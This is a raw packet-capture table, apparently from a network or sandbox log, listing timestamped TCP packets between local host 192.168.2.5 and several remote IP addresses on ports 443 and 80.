Nov 16, 2024 13:01:40.256346941 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.256441116 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.256445885 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.256510973 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.257951975 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.257976055 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.258107901 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.258174896 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.258259058 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.259505033 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.260524988 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.260541916 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.260831118 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.260848999 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.260863066 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.260910034 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.260936975 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.260971069 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.260993958 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.261341095 CET	49902	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.261347055 CET	443	49902	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.262103081 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.262975931 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.263025999 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.263341904 CET	443	49895	20.96.153.111	192.168.2.5
Nov 16, 2024 13:01:40.263684034 CET	49901	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.263696909 CET	443	49901	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.265999079 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.266019106 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.266051054 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.266064882 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.266083956 CET	443	49899	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.266112089 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.266149998 CET	49899	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.266609907 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.267909050 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.267932892 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.267999887 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.268013954 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.268045902 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.268068075 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.268557072 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.268584013 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.268616915 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.268620968 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.269372940 CET	49903	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.269383907 CET	443	49903	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.280265093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280273914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280318022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280333996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280344963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280345917 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.280354977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280369997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280378103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.280412912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.280412912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.280448914 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.283343077 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.289859056 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.289896965 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.290352106 CET	49904	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:40.290363073 CET	443	49904	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:40.301316977 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.301414967 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:40.301459074 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301481009 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301487923 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301513910 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.301526070 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301549911 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301558018 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.301558971 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301590919 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301620960 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.301620960 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.301623106 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.301656008 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.302956104 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.302993059 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:40.303348064 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303355932 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303375006 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303381920 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303388119 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303407907 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303426981 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.303443909 CET	443	49886	4.153.29.52	192.168.2.5
Nov 16, 2024 13:01:40.303476095 CET	49886	443	192.168.2.5	4.153.29.52
Nov 16, 2024 13:01:40.308851957 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.308898926 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:40.309537888 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.310113907 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.310142040 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:40.353296995 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.353359938 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.353431940 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.353451967 CET	443	49898	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.353475094 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.353624105 CET	49898	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.354381084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354401112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354413033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354423046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354434967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354444981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354463100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354463100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354655027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354665995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354722977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354723930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354748011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354759932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354769945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354780912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354790926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354809999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354819059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354835033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354839087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354839087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354839087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354845047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354861975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354871035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354882002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354885101 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354895115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354908943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354909897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354911089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354922056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354933977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354943991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354954004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354964972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.354969978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354969978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354983091 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.354995012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355015039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355024099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355032921 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355032921 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355040073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355051994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355065107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355074883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355086088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355108023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355108023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355108023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355145931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355180025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355190992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355201006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355216026 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355218887 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355228901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355240107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355249882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355257988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355268955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355276108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355276108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355288982 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355298042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355336905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355339050 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355339050 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355535984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355551004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355565071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355573893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355573893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355575085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355587006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355597019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355607986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355607986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355608940 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355619907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355631113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355640888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355652094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355652094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355662107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355670929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355681896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355691910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355704069 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355706930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355706930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355720997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355731010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355741024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355742931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355742931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355750084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355762005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355772972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355782986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355793953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.355793953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355793953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355829954 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.355829954 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356370926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356391907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356400967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356441021 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356447935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356458902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356468916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356488943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356488943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356492043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356503963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356528044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356539011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356540918 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356580973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356590986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356632948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356632948 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356633902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356642962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356654882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356664896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356702089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356702089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356731892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356743097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356753111 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356796980 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356796980 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356844902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356854916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356864929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356875896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356885910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356905937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356905937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356920004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356930971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356939077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356950998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356960058 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356960058 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.356961012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356971025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.356997967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357007980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357019901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357024908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357024908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357026100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357029915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357040882 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357084036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357084036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357249022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357295036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357346058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357357979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357369900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357382059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357392073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357402086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357412100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357419014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357419014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357441902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357484102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357501030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357507944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357512951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357530117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357538939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357554913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357558966 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357558966 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357567072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357578039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357588053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357599974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357610941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357610941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357615948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357626915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357636929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357642889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357642889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357652903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357662916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357673883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357683897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357693911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357703924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357707977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357707977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357723951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357723951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357731104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357742071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357758999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357769012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357781887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357791901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357793093 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357793093 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357804060 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357841015 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357841015 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357889891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357892990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357901096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357909918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.357959032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.357959032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358022928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358033895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358042955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358057976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358068943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358078957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358088970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358093023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358093023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358100891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358112097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358135939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358135939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.358149052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358159065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358169079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358184099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.358186960 CET	49802	80	192.168.2.5	185.215.113.206
